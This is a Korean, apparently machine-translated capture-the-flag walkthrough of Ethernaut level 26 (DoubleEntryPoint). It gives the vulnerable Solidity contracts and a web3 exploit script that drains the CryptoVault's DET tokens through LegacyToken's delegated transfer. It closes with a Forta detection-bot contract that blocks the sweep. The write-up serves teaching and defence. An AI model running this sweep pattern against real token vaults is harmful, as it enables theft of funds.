Ethernaut 해킹 레벨 26: 이중 진입점

OpenZeppelinEthernaut web3/solidity 기반 게임의 레벨 26입니다.

전제 조건


  • Contract ABI Specification

  • 마구 자르기



    주어진 계약:

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.6.0;
    
    import "@openzeppelin/contracts/access/Ownable.sol";
    import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
    
    interface DelegateERC20 {
      function delegateTransfer(address to, uint256 value, address origSender) external returns (bool);
    }
    
    interface IDetectionBot {
        function handleTransaction(address user, bytes calldata msgData) external;
    }
    
    interface IForta {
        function setDetectionBot(address detectionBotAddress) external;
        function notify(address user, bytes calldata msgData) external;
        function raiseAlert(address user) external;
    }
    
    contract Forta is IForta {
      mapping(address => IDetectionBot) public usersDetectionBots;
      mapping(address => uint256) public botRaisedAlerts;
    
      function setDetectionBot(address detectionBotAddress) external override {
          require(address(usersDetectionBots[msg.sender]) == address(0), "DetectionBot already set");
          usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
      }
    
      function notify(address user, bytes calldata msgData) external override {
        if(address(usersDetectionBots[user]) == address(0)) return;
        try usersDetectionBots[user].handleTransaction(user, msgData) {
            return;
        } catch {}
      }
    
      function raiseAlert(address user) external override {
          if(address(usersDetectionBots[user]) != msg.sender) return;
          botRaisedAlerts[msg.sender] += 1;
      } 
    }
    
    contract CryptoVault {
        address public sweptTokensRecipient;
        IERC20 public underlying;
    
        constructor(address recipient) public {
            sweptTokensRecipient = recipient;
        }
    
        function setUnderlying(address latestToken) public {
            require(address(underlying) == address(0), "Already set");
            underlying = IERC20(latestToken);
        }
    
        /*
        ...
        */
    
        function sweepToken(IERC20 token) public {
            require(token != underlying, "Can't transfer underlying token");
            token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
        }
    }
    
    contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
        DelegateERC20 public delegate;
    
        function mint(address to, uint256 amount) public onlyOwner {
            _mint(to, amount);
        }
    
        function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
            delegate = newContract;
        }
    
        function transfer(address to, uint256 value) public override returns (bool) {
            if (address(delegate) == address(0)) {
                return super.transfer(to, value);
            } else {
                return delegate.delegateTransfer(to, value, msg.sender);
            }
        }
    }
    
    contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable {
        address public cryptoVault;
        address public player;
        address public delegatedFrom;
        Forta public forta;
    
        constructor(address legacyToken, address vaultAddress, address fortaAddress, address playerAddress) public {
            delegatedFrom = legacyToken;
            forta = Forta(fortaAddress);
            player = playerAddress;
            cryptoVault = vaultAddress;
            _mint(cryptoVault, 100 ether);
        }
    
        modifier onlyDelegateFrom() {
            require(msg.sender == delegatedFrom, "Not legacy contract");
            _;
        }
    
        modifier fortaNotify() {
            address detectionBot = address(forta.usersDetectionBots(player));
    
            // Cache old number of bot alerts
            uint256 previousValue = forta.botRaisedAlerts(detectionBot);
    
            // Notify Forta
            forta.notify(player, msg.data);
    
            // Continue execution
            _;
    
            // Check if alarms have been raised
            if(forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting");
        }
    
        function delegateTransfer(
            address to,
            uint256 value,
            address origSender
        ) public override onlyDelegateFrom fortaNotify returns (bool) {
            _transfer(origSender, to, value);
            return true;
        }
    }
    

    playerCryptoVault에서 버그를 찾아 고갈되는 것을 방지하기 위해 Forta 봇을 만들어야 합니다.

    먼저 기본(DET) 토큰을 유출할 수 있는 익스플로잇을 알아봅시다. sweepToken() 메서드를 보면 예상대로 require 검사로 기본 토큰 스윕을 제한하는 것을 볼 수 있습니다. 그러나 LegacyTokentransfer() 방법을 살펴보십시오.

    if (address(delegate) == address(0)) {
        return super.transfer(to, value);
    } else {
        return delegate.delegateTransfer(to, value, msg.sender);
    }
    


    실제로 일부 delegateTransfer() 계약의 DelegateERC20 메서드를 호출하는 것처럼 보입니다. 그러나 이 DelegateERC20는 기본 ( DET ) 토큰 자체의 구현일 뿐입니다! 그리고 delegateTransfer()는 주어진 매개변수에 따라 토큰을 전송합니다. delegateTransfer()의 유일한 제한 사항은 msg.sender가 LegacyToken(delegatedFrom 주소) 계약이어야 한다는 것입니다.

    따라서 transfer() 계약의 LegacyToken를 통해 기본 토큰을 간접적으로 스윕할 수 있습니다. sweepToken 계약의 주소로 LegacyToken를 호출하기만 하면 됩니다. 그러면 LegacyContractDoubleEntryPoint의 (DET 토큰) delegateTransfer() 메서드를 호출하게 됩니다.

    vault = await contract.cryptoVault()
    
    // Check initial balance (100 DET)
    await contract.balanceOf(vault).then(v => v.toString()) // '100000000000000000000'
    
    legacyToken = await contract.delegatedFrom()
    
    // sweepTokens(..) function call data
    sweepSig = web3.eth.abi.encodeFunctionCall({
        name: 'sweepToken',
        type: 'function',
        inputs: [{name: 'token', type: 'address'}]
    }, [legacyToken])
    
    // Send exploit transaction
    await web3.eth.sendTransaction({ from: player, to: vault, data: sweepSig })
    
    // Check balance (0 DET)
    await contract.balanceOf(vault).then(v => v.toString()) // '0'
    


    그리고 CryptoVault는 DET 토큰을 휩쓸었습니다!

    이것은 transfer()LegacyToken를 호출하는 동안 msg.senderCryptoVault이기 때문에 작동했습니다. 그리고 바로 다음에 delegateTransfer()가 호출되면 origSenderCryptoVault 계약의 전달된 주소이고 msg.senderLegacyToken이므로 onlyDelegateFrom 수정자가 체크아웃됩니다.

    이제 이 악용을 방지하기 위해 IDetectionBot 인터페이스를 구현하는 간단한 계약인 봇을 작성해야 합니다. 봇handleTransaction(..)에서 주소가 CryptoVault 주소가 아닌지 간단히 확인할 수 있습니다. 그렇다면 경보를 발령하십시오. 따라서 스윕을 방지합니다.

    Remix를 열고 봇을 배포하고(Rinkeby에서) 주소를 복사합니다.

    pragma solidity ^0.8.0;
    
    interface IForta {
        function raiseAlert(address user) external;
    }
    
    contract FortaDetectionBot {
        address private cryptoVault;
    
        constructor(address _cryptoVault) {
            cryptoVault = _cryptoVault;
        }
    
        function handleTransaction(address user, bytes calldata msgData) external {
            // Extract the address of original message sender
            // which should start at offset 168 (0xa8) of calldata
            address origSender;
            assembly {
                origSender := calldataload(0xa8)
            }
    
            if (origSender == cryptoVault) {
                IForta(msg.sender).raiseAlert(user);
            }
        }
    }
    


    위의 FortaDetectionBot 계약에서 우리는 ABI encoding 사양에 따라 오프셋을 계산하여 원래 트랜잭션 발신자의 주소를 추출합니다.

    이제 Forta 계약에서 봇을 설정합니다.

    // FortaDetectionBot
    botAddr = '0x...'
    
    // Forta contract address
    forta = await contract.forta()
    
    // setDetectionBot() function call data
    setBotSig = web3.eth.abi.encodeFunctionCall({
        name: 'setDetectionBot',
        type: 'function',
        inputs: [
            { type: 'address', name: 'detectionBotAddress' }
        ]
    }, [botAddr])
    
    // Send the transaction setting the bot
    await web3.eth.sendTransaction({from: player, to: forta, data: setBotSig })
    


    그게 다야!

    멋진 것을 배웠습니까? 주연 고려 github repo 😄

    그리고 트위터에서 저를 팔로우하세요 🙏

    좋은 웹페이지 즐겨찾기